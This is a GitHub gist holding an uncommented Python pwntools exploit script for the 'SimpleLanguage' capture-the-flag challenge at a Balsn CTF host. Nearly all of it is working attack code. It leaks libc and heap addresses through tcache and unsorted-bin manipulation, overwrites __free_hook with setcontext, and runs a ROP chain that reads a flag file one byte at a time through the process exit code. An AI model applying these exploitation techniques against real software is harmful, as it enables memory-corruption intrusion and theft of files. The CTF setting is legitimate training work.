Skip to content

Instantly share code, notes, and snippets.

@Jinmo
Created October 7, 2019 02:04
Show Gist options
  • Save Jinmo/6988cc934b309d8706feafaffefbc39e to your computer and use it in GitHub Desktop.
Save Jinmo/6988cc934b309d8706feafaffefbc39e to your computer and use it in GitHub Desktop.
from pwn import *
import struct
def flatten(input_array):
result_array = []
for element in input_array:
if isinstance(element, list):
result_array += flatten(element)
else:
result_array.append(element)
return result_array
def string(x):
assert '\x20\n' not in x
return ['"'+x+'"']
def num(x):
return [str(x)]
def L(x):
return string(x) if isinstance(x, basestring) else num(x)
def symbol(x, y):
return ["/"+x, y]
main_arena = 0x3ebca0
free_hook = 0x3ed8e8
addr = lambda address: ["dup", address, "load"]
write = lambda address, value: [
addr(address),
["driver", value, "load"]
]
libc = lambda offset, delta= - 8: ["base", L(offset + delta), "add"]
heap = lambda offset, delta= - 8: ["heap", L(offset + delta), "add"]
bss = lambda offset, delta = -8: heap(offset + 0x3000, delta)
setcontext=0x520a5
open=0x10fc40
poprdi=0x2155f
poprsir15=0x2155d
poprax=0x439c8
read=0x110070
_exit=0xe4dd0
syscall=0x11b837
poprdx=0x1b96
name=struct.unpack("<4Q", '/home/SimpleLanguage/flag'.ljust(32, '\x00'))
def gen_payload(offset):
rop = [
bss(0x100, 0),
libc(poprax, 0),
L(2),
libc(syscall, 0),
libc(poprdi, 0),
L(0),
libc(poprsir15, 0),
bss(0x200,0),
None,
libc(poprdx, 0),
L(offset),
libc(read, 0),
libc(poprsir15, 0),
'exitcode',
None,
libc(poprdx, 0),
L(1),
libc(read, 0),
libc(poprdi, 0),
'here',
libc(_exit, 0),
]
rop[rop.index('exitcode')]=bss(8*rop.index('here'), 0)
rop[rop.index('here')]=L(0)
return [write(bss(i*8), value) for i, value in enumerate(rop) if value is not None]
flag=''
context.log_level='error'
for offset in range(80):
payload = flatten([
"Balsn",
[L("a"*16)] * 9,
symbol("a", L("a"*128)),
L("a"*128), "dup",
[["dup", symbol("b%d"%i, L("a")), "b%d" % i, "store"] for i in range(7)],
# fills tcache of 134byte bins
[["b%d" % i, "del", L("a"*0x20)] for i in range(7)],
# it'll be unsorted bin
["a", "dup", "del"],
[
"dup",
# overwrite symbol a
symbol("z", L("\x01\xff\xff\xff".ljust(24,"!")+"\xd8"))
],
# now a->value == main_arena
[
L(main_arena), "sub", L(0), "sub",
symbol("driver", L(0)),
symbol("base", L(0)),
"base",
"store"
],
[
"z", L("\x01\xff\xff\xff".ljust(24, "!")+"\xf0"), "load",
"dup", L(0x40f0), "sub", L(0), "sub",
symbol("heap", L(0)),
"heap",
"store"
],
write(heap(0x4460+0xa0), bss(0, 0)),
write(heap(0x4460+0xa8), libc(poprdi, 0)),
gen_payload(offset),
write(bss(0x100), L(name[0])),
write(bss(0x108), L(name[1])),
write(bss(0x110), L(name[2])),
write(bss(0x118), L(name[3])),
write(libc(free_hook), libc(setcontext, 0)),
L(0), 'drop'
])
payload = '\n'.join(payload).ljust(0x1000)
# payload = payload.ljust(0x1000)
HOST, PORT = "simplelanguage.balsnctf.com", "54321"
# HOST, PORT = "0.0.0.0", 54321
r = remote(HOST, PORT)
menu = lambda: r.recvuntil(" :")
ii = lambda x: r.sendline(str(x))
go = lambda x: (menu(), ii(x))[0]
go(payload.encode('hex'))
flag+=chr(int(r.recvall().strip()))
print flag
if flag[-1] == '\x00':
flag=flag[:-1]
break
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment